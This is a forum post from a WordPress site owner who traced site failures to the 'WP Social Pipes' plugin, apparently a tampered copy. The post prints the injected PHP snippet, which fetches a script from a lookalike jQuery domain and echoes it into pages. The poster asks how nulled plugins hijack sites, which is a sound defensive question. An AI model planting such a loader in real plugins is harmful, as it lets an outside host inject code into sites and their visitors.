Well, it seems the problem was with WP Social Pipes.
Not sure if I messed up the install somehow (seemed impossible to mess-up). But I deleted it and now I can access the site and admin.
I went into the php of socialpipes and found in it this code:
Code:
<?php if(function_exists('curl_init'))
{
$url = "h*t*t*p://w*w*w.j-query(dot)org/jquery-1.6.3.min(dot)js";
$ch = curl_init();
$timeout = 5;
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1); curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);
$data = curl_exec($ch);
curl_close($ch);
echo "$data"; }
?>
and deleted it, then reinstalled. I'm no php maven but I'm keen on seeing SocialPipes work and hope this alteration will correct any issues in the future.
Please feel free to delete thread since I sort of solved problem.
However if anyone wants to chime in about what happened here or the potential for a 'nulled' or hacked theme or plugin to hijack a WP (or other) site and what someone can do to prevent or correct this please let the thread stay.
Such information could help others now and in future.
Gracias
